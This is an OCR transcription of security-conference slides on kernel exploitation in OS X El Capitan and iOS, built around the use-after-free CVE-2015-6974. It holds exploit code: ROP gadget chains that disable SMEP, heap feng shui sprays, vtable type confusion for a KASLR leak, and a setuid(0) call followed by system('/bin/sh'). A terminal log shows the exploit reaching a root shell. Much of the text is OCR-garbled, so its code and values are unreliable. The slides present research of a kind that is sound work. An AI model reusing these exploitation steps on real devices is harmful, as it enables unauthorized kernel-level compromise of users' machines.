offset _ ZH1503HetaClassBase25 RESERUEDOSHetaClassBasedEu

offset _ ZH1503HetaClassBase25 RESERUEDOSHetaClassBaselEu

offset _ ZH1503HetaClassBase25 RESERUEDOSHetaClassBaseSEuw

offset _ ZH1503HMetaClassBase25 RESERUEDOSHetaClassBase6Euw

offset _ ZH1503HMetaClassBase25 RESERUEDOSHetaClassBase/Eu

offset _ ZH12I0UserClienti4initEv

offset _ ZH12I0UserClientifreeEv

offset _ ZHBOSObject18_ RESERVEDODSObjectBEv

offset _ ZHBOSObject18_RESERVEDODSObjectiEv
const:FFFFFF8B812C23B18 offset _ ZHBOSObject18_ RESERUVEDDSObject2Ev

offset _ ZHBO0SObject18_ RESERVEDODSObject3Ev

offset _ ZHBOSObject18_ RESERVEDOSObjectuEv

offset _ ZHBOSObject18_ RESERUEDODSObjectSEv

offset ZHEDS0bject18 RESERUVEDDEObjectiEwv

kslide = tmp — Oxffffff8000a23a70;



Code execution

{uint64_t) &crd_save;
ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(mapping_kernel);
Bxc5¢5c5¢5¢5¢5¢5¢5;

ROP_POP_RCX(mapping_kernel);

{uint4_t) ~ BxB0100808;
ROP_AND_RCX_RAX_POP_RBEP(mapping_kernel);
PUSH_GADGET(stack) BxcEcEeEoRchehoEeh;

PUSH_GADGET(stack) ROP_POP_RDI (mapping_kernel);

PUSH_GADGET(stack) = (uint&4_t) scratch;

PUSH_GADGET(stack)
PUSH_GADGET (stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)

PUSH_GADGETstack)
PUSH_GADGET(stack)

BxcTclclcTcTcTeicd;

ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(mapping_kernel);

RootDmain [RootDmain RootDmain RootDmain [RootDmain
UserClient |UserClient UserClient UserClient |UserClient
v .
. SR 4 .
L] ° L]
(]
° L] ° )
. o ® °
o . o ®
. . o ® °
° o o ® .
. - - [ 0x38 table
. e call [rax+0x . Y
. . °
° ° L] * L[] .
e bl
L[]
buffer vtable
cee
scratch[@xB / sizeof(uint64_t)] = 8;
scratch[@x1@ / sizeof(uintB4_t)}] = @;
scratch[@x18 / sizeof(uint64_t}] = ROP_POP_RSP(mapping_kernel); Vta ble
/¢ printf("ROP_POP_RSP : %1611x\n",ROP_POP_RSP(mapping_kernel));
scratch[@x2@ / sizeof{uint64_t)] = (uintB4_t)stack->__rop_chain;
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = {uint64_t)scratch;
PUSH_GADGET(stack) = ROP_RSI_TO_RBX_CALL_17BH_RAX(mapping_kernel);
scratch[@x178 / sizeof(uintB4_t)}] = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET (stack) = ROP_POP_R14_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = {uint64_t) &corrupt_ptr;
PUSH_GADGET(stack) = @xclclclclclclclel;
PUSH_GADGET [ stack) = ROP_WRITE_RBX_WHAT_R14_WHERE_POP_RBX_POP_R14_POP_RBP{mapping_kernel);
//  printf("ROP_WRITE_RBX_WHAT R14_WHERE_POP_RBX_POP_R14_POP_RBP : %161lx\n",ROP_WRITE_RBX_WHAT_R14_WHEF
PUSH_GADGET (stack) = ®xc2c2c2c2c2c2c2e2; rop
PUSH_GADGET(stack) = ®xc3c3c3c3c3c3c3eld;
PUSH_GADGET(stack) = @xcdcdcdcdcdcdcdcd;
/ Save CR4 rop
/i Disable SMEP
PUSH_GADGET(stack) = ROP_POP_RCX(mapping_kernel); rOp
£ printf("ROP_POP_RCX : %161Llx\n",ROP_POP_RCX(mapping_kernal));




i

i

Code execution

uint64_t payload[58];
void#x vtable = alloc((voids)@x1337100080, 0x108@):
for(int i=@;i=508;i++)payload[i] = (uintf4_t)vtable;

Lsym_payload((uint6d_t=)&vtable[@], (void+)kernel_payload);
printf("[+] payload is ready.“n");
getchar();

for{int i=0;i=1@08;i++)Jalloc_table[i] = open_service("I0PMrooctDomain");
for(int i=1008/4;i<1800/4%3;i++)
if(i%3){
I0ConnectRelease{alloc_table[i]);
/f alloc_tableli] = @;
}

printf("[+] zone fengshui finished.%n");

kernel_exp(conn_main, conn_second, (IODataQueueMemorys)map_addr, {void=)payload,sizeof({payload));
printf{"[+] kernel exploit is done.%n");
getchar();

for{int i=8;i<1808;i++)I0ConnectReleaselalloc_table[il);
printf{"[+] payload has run over.%n");

if (kernel_payload_ran) {
setuid(@);
if [getuid({) == @) {
printf{"[+] got r@@tyn");
system{"/bin/sh"};
exiti@);

}

printf("[-] kernel payload did not execute.'n");
return 8;



Code execution

) Desktop — sh — 122x42

Last login: Fri Sep 11 20:58:58 on ttys@ed
tests-Air:~ test$ cd Desktop/

tests-Air:Desktop test$ sudo ./kernel_heap_exp
Password:

[+] found symbol _current_proc at @xffffff8000857890
[+] found symbol _proc_ucred at @xffffffE0007cbded
[+] found symbol _posix_cred_get at @xffffff5e007a3120
conn_main is 4867

IOHIDResource selector @ called with result @.
HIDResource conn addr is at @xabtBdbe2cT88%edcft.
I0ORegistryEntryCreatelterator success.

hid_iterator is 1483

next. !

iterator_iokit owver.

conn_second is 5635.

map_addr is @x102ebaddd, map_size is Ox4030.

[+] found symbol _iokit_notify at @xffffff80003dTE60
[+] found symbol _thread_exception_return at @xffffffE00841116a
[+] found symbol _panic at @xffffff800032bcdd

[+] payload is ready.

[+] zone fengshui finished.

outputStructSize is 288.

begin calling 19.

begin calling 3.

end calling 3.

begin calling 3.

end calling 3.

[+] kernel exploit is done.

[+] payload has run over.

[+] got roet

sh-3.2# |]




New mitigations in ElI Capitan

mach_port_kobject is killed (Actually in 10.10.5)

— Harder for Feng Shui

kern_return_t

mach_port kobject(
ipc_space t
mach_port name t
natural t
mach_vm_address_t

| (DEVELOPMENT || DEBUG)

*addrp = 8;

(@ != kaddr && is ipc kobject(*typep))
*addrp = VM_KERNEL_UNSLIDE OR_PERM(kaddr);

*addrp = 23

KERN_SUCCESS;

Available for debug/development kernel



New mitigations in EI Capitan

- SMAP R
] i Luca Todesco £
— Not enabled on my machine £ L
— But it is said to be enforced on ForceTouch MBP has SMAP. Macs
ForceTouch MBP since 2012 or something should all have
SMEP.

el Luca Todesco
not really precise data points, but that's what | know. | have all the macs
[asa® from the prev gen and none has SMAP, all have SMEP.




New mitigations in EI Capitan

struct vin_map_copy {

e vm_map_copy_t int type;
. #define VM_MAP COPY ENTRY_LIST 1
— No kdata field #define VM_MAP_COPY_OBJECT 2
. . #define VM_MAP_COPY_KERNEL_BUFFER 3
— Changing kdata pointer not WIEERE ERDIRRGC GIAT
. vm_size size;
possible

« Memory spraying still works fine

« OOB read still works fine

— But not arbitrary memory : KERNEL BUFFERY
/ kdata:

read/wrlte .' _si _ kalloc_size; /= size of this copy._t*




Exploitation on EI Capitan: CVE-2015-6974

Use-after-free in IOHIDResourceDeviceUserClient::terminateDevice
Credit to Luca Todesco

zone.256

pointer f XXX _d evice XXX

UAF

IOHIDResourceDeviceUserClient



Exploitation on El Capitan: Code execution

kern_return_t kr = I0OConnectCallMethod{conn, @, &n, 1, CFDataGetBytePtri(desc), CFDataGetLength{desc), @, @, @, @);
assert (KERM_SUCCESS == kr);

mach_port_t port_table[18a];

char* junk = calloc(508,1);

char* tmp = calloc(5@@,1);

memset {junk,@xcl, sizeof (char)=50@);

for{int i = @;i <« 1@; i++)send_kern_data({junk, 256 - 8x58, &port_table[i]);
for{int i = 8;i = 1@;i++)tmp = read_kern_datalport_tablel[il);
kr = I0ConnectCallMethod(conn, 1, @, @, @, @, @, &, @&, @);

assert(kr == KERMN_SUCCESS);

for{int i = @;i = 18; i++)send_kern_data(junk, 256 - @x58, &port_tablel[i]);
mach_msg |mach_msg |mach_msg | mach_msg _device XXX XXX XXX JCICICIEICR R
replace
mach_msg | mach_msg | mach_msg | mach_msg | mach_msg | mach_msg [mach_msg | mach_msg p e e e e e e

call vtable



Freed memory == Useless ?
A little bit different...

Normal mach_msg before release mach_msg after release/recieve

fake vtable OxdeadbeefO0000003

fake vtable next pointer



Exploitation on EI Capitan: Code execution

Control the $pc...

i = 1@;i++)send_kern_dataljunk, 256 — Bx58, &port_table[i]);

for(int i = 8;1
@;1i = 1@;i++)tmp = read_kern_data(port_table[i]):

for{int i

kr = I0ConnectCallMethod(conn, 1, @, @, @, @, @, &, @&, @);

i = 218;i++)send_kern_dataljunk, 256 — @x58, &port_table[i]);

for{int i
i = 21@;i++)tmp = read_kern_data(port_table[i]);

for(int i

o
o @
[

uint64_t leak = I0OConnectCallMethod{conn, 2, &n, 1, "AAAAAAAAAA", 18, @, @, B, @);
Ficall [rax+@8x93B]

rax

next > next
vtable
msg msg

c0c0c0cO




Exploitation on El Capitan: Info Leak

« Use a separate info leak vulnerability
— E.g CVE-2015-3676 (By KeenTeam)

« How to leak by taking advantage of existing vulns?

— Heap Overflow vuln:
« By overflowing to the vm_map_copy_t structure, enlarging the size field to achieve OOB read

— Use After Free:
« Playing like Internet Explorer exploit? Crazy?
« Let’s have a try on CVE-2015-6974



Exploitation on El Capitan: Info Leak

General strategy (CVE-2015-6974)
— Free _device object

— Allocate another vtable-based object with same size to fill in (IOUserClient object is preferred)
— Call selector 2, IOHIDResourceDeviceUserClient::_handleReport
« Vtable type confuse

IOReturn IOHIDResourceDeviceUser(Client::handleReport({IOExternalMethodArguments * arguments)
p

1
AbsoluteTime timestamp;
if (_device == NULL) {
I0Log("%s failed : device is NULL\n™, _ FUNCTION_ );

return kIOReturnNotOpen;
!
I0Return ret;
I0OMemoryDescriptor * report;

if ( l!arguments->asyncWakePort ) { > Vtable + OX938
ret = device-rhandleReportWithTime(timestamp, report)s
report->release();

return rets

-» ret value to userland



Exploitation on El Capitan: Info Leak

« What vtable member is preferred to return useful information?

« Candidate 1: getTargetAndMethodForIndex
— Can return kernel global structure address and leak kslide

« Candidate 2: OSMetaClass::getMetaClass(void)
— This works well when the calling offset is larger than the vtable of our confused userclient
— Because a MetaClass vtable is usually right after a userclient vtable

inted * fastcall OSMetaClass::getMetallass(05MetaClass *this)

return &gqword_ FFFFFF3B8BAD5988;




Exploitation on El Capitan: Info Lea

On EI Capitan

— Offset 0x938 is within the range of IOUserClient vtable
— Bad news: No user client in EI Capitan implements getExternalAsyncMethodForIndex
— Can use non-userclient object to confuse but it is tough

__const:
__const:
_ const:
__ const:
__const:
__const:
__ const:
__ const:
__const: 2
:0000000000040328

__const

__ const:
__ const:
__const:
__const:
__ const:
__ const:
__const:
__const:
__ const:
__const:
:0000000000040330

__const

__const:

0006000000040320
0006000000040320
fooooooaade321
feooeceapade322
0006000000040323
0006000000040324
feooeooapaR4e325
0006000000040326
0060000040327

feoooooapaR4329
000600000004032A
0006000000040328
00e6000eRE40832C
B0o0ecea0a84832D
000600000004032E
000600000004032F
foo0o00000040330
BeopeceapeRd33e
0006000000040330

f000B00000040338

1 0000000000040C68
_ const:

Bopeaoosaoe4eC7e

; ~wvtable for'IOHIDLibUserClient
_ ITV18IOHIDLibUserClient db

off_408330

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
dq

8

e
e
e
8
e
e
e
8
e
e
e
8
e
e

offset _ ZN18

offset _ ZN18

offset _ ZN12
offset _ ZNIZ

8

IOHIDLibUserClientD1Ev
; DATA XREF: IOHIDLibUserClient::IOHIDLibUserClient(0SMetaClass const*)+E@@do
; IOHIDLibUserClient::IOHIDLibUserClient(0SMetaClass const®*)+E@o ...
; IOHIDLibUserClient::~IOHIDLibUserClient()

IOHIDLibUserClientD@Ev ; IOHIDLibUserClient::~IOHIDLibUserClient()

I0UserClient3@getExternalAsyncMethodForIndexEj ; IOUserClient::getExternalAsyncMethodForIndex(uint)
UserClientZbgetlargetAndMethodtorlndextPPYl0Servicej ; LUUserUlient::getlargetAndMethodForIndex(I0Servic

IOUserClient::getExternalAsyncMethodForindex



Exploitation on El Capitan: Info Leak

com .dri .AppleCredentialManager: : 80490060 EXPORT com.apple.driver.AppleCredentialManager_UserClient_Classl_vtable
com .dri .AppleCredentialManager 49DBB@ com.apple.driver.AppleCredentialManager_UserClient
com = r.AppleCredentialManager : 80490060 EF: 8 8+ 13@Mlo
com .dri .AppleCredentialManager 49DBE@ ; com.apple.driver.AppleCredentialManager:__ text:off_S049AECAMo
H H L com .dri .AppleCredentialManager :8049D0E1
Ty p e CO n fu S I O n I S p I a tfo rm - S p e C I fl C com .dri .AppleCredentialManager 49DBB2
com .dri .AppleCredentialManager 49DBE3
- com .dri .AppleCredentialManager 49DBB4
—_— H a Ve a try O n I O S ? com .dri .AppleCredentialManager 49DBEB5
com .dri .AppleCredentialManager :8049D0B6
com .dri .AppleCredentialManager 49DBEB7
com .dri .AppleCredentialManager :8049D0B8 sub_B8@49AE48+1
com = r.AppleCredentialManager : 8049D8BC sub_8B49AEAC+1
O H O S 8 com .dri .AppleCredentialManager:_ c 3C CD IOUserClient::getExternalTrapForIndex{ulong)+1l
r] I I com .dri .AppleCredentialManager E i E v )+1
. . com .dri .AppleCredentialManager
IOHIDResourceDeviceUserClient::_h e : :
.. com .dri .AppleCredentialManager 58 com.apple.d er.AppleCredentialManager Class
- com .dri .AppleCredentialManager DATA XREF: AppleCredentialManager InitFunc_@+1A@Mo
a n d I e Re p O rt I S at Vta b I e + O X 3 b4 com .driver.AppleCredentialManager 2 com. apple.driver.AppleCredentialManager: _ text:off_S049B1FS@o
I com .dri .AppleCredentialManager
. com = r.AppleCredentialManager
— AppIeCredentla I Ma nager has the com = *.ApplelEr‘edentialf-\anager‘
com .dri .AppleCredentialManager
- OX3 b4 l com .dri .AppleCredentialManager
Shortest Use rCI Ient Vta ble ( no com .dri .AppleCredentialManager
com .dri .AppleCredentialManager
- - | com .dri .AppleCredentialManager sub_B8@49AE18+1
Se If fu n Ctl O n I m p I e m e n te d ) com .dri .AppleCredentialManager g C B84981C4A+1
com .dri .AppleCredentialManager gy 0SMetaClass: :release(int)+1
com .dri .AppleCredentialManager nst:3049D464 OSMetaClass: :getRetainCount(void)+1
—_ N Ot a b I e to rea C h g et M eta C I a S S com - AppleCredentialManager 149D468 OSMetaCla

com .dri .AppleCredentialManag 490470 O5MetaCla

beca use Of OX 1 0 byte a I |g nme nt com .driver.AppleCredentialManzer: :8049D474 0SMetaCla

(0%%erialize *)+1
: :getMgaClass(void)+1

com s r.AppleCredentialManagerd :8849D46C OSMetaClass: :releasf(void)+1

OSMetaClass::release is reached



Exploitation on El Capitan: Info Leak

What is OSMetaClass::release
« Empty function!
e Good news for arm/arm64

« this pointer can be leaked (R0O/XO0 is used for 1st
parameter AND return value)

« But kslide still not leaked

vus LY 1
f@38CcH18

8838CH18 ; _DWORD DSHetaClass::release{0SMetaClass »*__hidden this)
sa3oceie EXPORT _ ZHK11DSHetaClass7?releaseEw
g830ce18 _ ZHK110S5HetaClass7releaseEw

f036Cce18

f@38CcH18 BX LR

g80830ce18 ; End of function 0SMetaClass::release{void)

0O RN A5k a0

All iOS 8 kernel vtable is 0x10 aligned
« No chance to reach getMetaClass ®

©

.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.applae.
.apple.
.apple.
.applae.
.apple.
.apple.
.apple.
Lapple.
.apple.
.apple.

driver. AppleCredentialManager
iokit. I0Reporting

driver. AppleARMPlatform
driver. LEKDIOKit

iokit. I05urface

iokit. I0Burface

driver. IODARTFamily
driver. AppleN2Scal erCSC
driver. FairPlayIQEit
driver. LSEDIOKitMSE
driver. AppleVED390
driver. AppleMobileFilelntegsrity
iokit. IOHIDFamily

lokit. IOHIDFamily

iokit. IOHIDFamily

iokit. IONetworkingFanily
lokit. IONetworkingFanily
driver. ApplelPippender
driver. AppleMul titouchSPI
driver.DiskInages

driver. Apple[FECDriver

COM.

annle.

iokit. IOCrvntodcceleratorFamily

.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.applae.
.apple.

iokit. IOCryptofscceleratorFamily
iokit. IOCryptoficceleratorFamily
ioklt. IOCryptofcceleratorFamily
EncryptedBlockStorage
EncryptedBlockStorage

iokit. I0FlashStoraze

iokit. IOFlashStorage

iokit. IOUSEFamily

iokit. IOUSEFamily

iokit. IOUSEFanily

iokit. IOUSEDeviceFamily

iokit. I0hccessoryManager

iokit. I0hccessoryManager

iokit. I0hccessoryNanager

iokit. I0hccessoryManager

iokit. IONikeyBusFamily

iokit. IONikeyBusFamily

iokit. IONikeyBusFamily

iokit. I0StreandudioFamily

i
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClient2
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClient2
UserClient3
UserClientl
UserClient2
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClient2
UserClient3
UserClientd
UserClientl
UserClient2
UserClientl
UserClient2
UserClientl
UserClient2
UserClient3
UserClientl
UserClientl
UserClient2
UserClient3
UserClientd
UserClientl
UserClient2
UserClient3
UserClientl

E
0x2049d0b0L
0x804ab480L
0x204déaf0l
0x8052f460L
0x8053cball
0x2053d300L
0x8054aZ30L
0x8056f2a0L
0x205e74b0L
0x8061a230L
0x8063d510L
0xB06aal fOL
0x206c521 0L
0x806c81 300
0xB06cBe20L
0x80T0Z32900
0xBOTOZ930L
0x2070d190L
0xB071e6e0l
0x80T446a00
0x207655d0L
0xB076d5e0L
0xB0T 6o eE™
0xB0TE2990L
0xB076f1 0L
0x80778410L
0xB0OTT90e0L
0xB07RdEfOL
0x80TEed30L
0x807hleall
0x20Th2370L
0x807hZb40L
0xB080cHTIL
0x20832ee0L
0x8083f2doL
0xB80841150L
0x20841540L
0x808631 300
0xB0BE35200
0xB08639100

|__—» 0x10 byte aligned

\ 0x8086d570L J
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i0S 97 , 3

)

. I II con. apple. driver. dppleCredentialManager UserClientl { 0xB0543164L

° com. apple. 1okit. IOReporting UserClientl | 0xB8054c4530
N O a I Ig n m e nt e com. apple. driver. spplesRMPlatforn UserClientl | 0xBOS7caB4l

. com. apple. driver. LSEDIOKit UserClientl 0x80605478L

« Some userclients reach OSMetaClass::release con. apple. iokit. [0Surface UeerClientl | Ox80614b26L
com. apple. 1okit. I0Surface UserClientZ | 0xBO0A1526cL

. com. apple. driver. IODARTFanily UserClientl | 0xB0BZ0=50L

¢ Some reaCh OSMetaCIaSS . getMetaCIaSS com. apple. driver. dppleM28calerCsC UserClientl | 0xB064a5Sdcl
com. apple. driver. FairPlayIOEit UserClientl | 0xB06d54asL

com. apple. driver. LSEDIOKI tMSE UserClientl | 0xB0T71f458L

com. apple. driver. dppl eVID350 UserClientl | 0xB0T74b4f35L

A h H b th k I H d I k d F S h H th H H t I k d coll. apple. driver. dppleMobileFilelntesrity UserClientl | 0xBOT73I210L
chieve both kslide leak and Feng Shui(this pointer leaked) con. speLe. okit, IOHIDFanily TeerCliontl | OxR07E264
com. apple. 1okit. IOHIDFamily UserClient2 | 0xBOT920Z20L

connimain Ialonen s e Ty ce (S IOHIDRESouTCe ) com. apple. 1okit. IOHIDFamily UserClient3 | 0x80792cccl
inputScalarle]l = 0; com. apple. 1okit. I0NetworkingFamily UserClientl 0x807cT4cdl
kernResult = IOConnectCallMethod(conn_main, com. apple. 1okit. I0NetworkingFanily UserClient2 | 0xB807c7Badl
i;putScalar, com. apple. driver. dpplelPaAppender UserClientl | 0xB07d217cL

;Lf com. apple. driver. AppleMul titouchSPI UserClientl | 0xB0T7e7744L

459, com. apple. driver. DiskInases UserClientl | 0xB080abfcl

outputScalar, com. appl e, driver. dpple]PEGDriver UserClientl | 0xB082b5%cL

gg:;zz;iﬁiz:rcnt' com. apple. iokit. IOCryptoscceleratorFanily UserClientl | 0x808335h0L

&outputStructSize); com. apple. iokit. I0CryptobdcceleratorFamily UzerClientz | OxB0834170L

ggégﬁ:élig:{?ﬁgizggfiozﬁligizr ? Cgllgd gitg rgsuét gd-gyf' kernResult); com. apple. iokit. IOCryptobdcceleratorFanily UserClient? | 0xB0834918L

(int 1 = 500; i < 1000; 4 ++) . Tt : com. apple. iokit. IOCryptofcceleratorFamily UszerClientd | 0xB0835150L

) con. apple. EncryptedBl ockStoraze UserClientl | 0xB083edbcl

conoSipeg/ LIRS opepESS LCE anplaluRyeRNORACCes ) con. apple. EneryvptedBlockStorage UserClientZ | 0xB8083f054L
inputScalar[e] = 0; com. apple. iokit. I0FlashStoraze UserClientl | 0x£808538d3L
ZZiiZZEZ igﬂg kéfﬁz1=b§2§°2"?22ﬁallﬂffh??ég?""‘mai"' 2 MIPUES AL, 8- HHGLLOS 2 08 B r EE com. apple. 1okit. I0FlashStorage UserClient2 | 0x808547e0L
printf("Kernel base is located at @x%x!\n", kernel_base); com. apple. iokit. IOUSEHostFamily UserClientl 0x8089d378L
printf("KASLR slide is @x%x!\n", kernel_base — 0x80001000); com. apple. iokit. IOUSEHostFanily UserClient? | 0x8089d310L
slecp(2000); com. apple. 1okit. IOUSEHostFamily UserClient3 | 0xB808%dddcL

— com. apple. 1okit, IOUSEDeviceFamily UserClientl | 0xB092fA38L

1 . com. apple. 1okit, I0AccessoryNanager UserClientl | 0xB0%63eall

LeOCde ]'Phone s rOOt# - /pOCHIDRES{?U rce com. apple. 1okit. I0AccessoryNanager UserClientZ | 0xB0364285L
IOHIDResource selector @& called with result 0. com. apple. 1okit. IQkccessoryManager UserClient3 | 0xB09660a5L

. com. apple. 1okit. I0AccessoryManager UserClientd | 0xB0966488L

Ke rne l ba s€ 1S 10 Cat Ed at GXBTBG]‘QGG I com. apple. 1okit. IOMikevBusFamnily UserClientl | 0xB098a0c0L

KAS LR S 'l_ ide j_s @x?ﬁ@@@@@ |_ com. apple. 1okit. I0MikevBusFamnily UserClient2 | 0xB098adadl

com. apple. 1okit. IOMikevBusFamnily UserClient3 | 0xS098aB835L

com. apple. 1okit. I0StreaniudioFamily UserClientl




Summary

« OS X kernel improves a lot in the year 2015
 New mitigations make exploitation harder

* Good vulnerability with good exploitation methodology still leads to
kernel root
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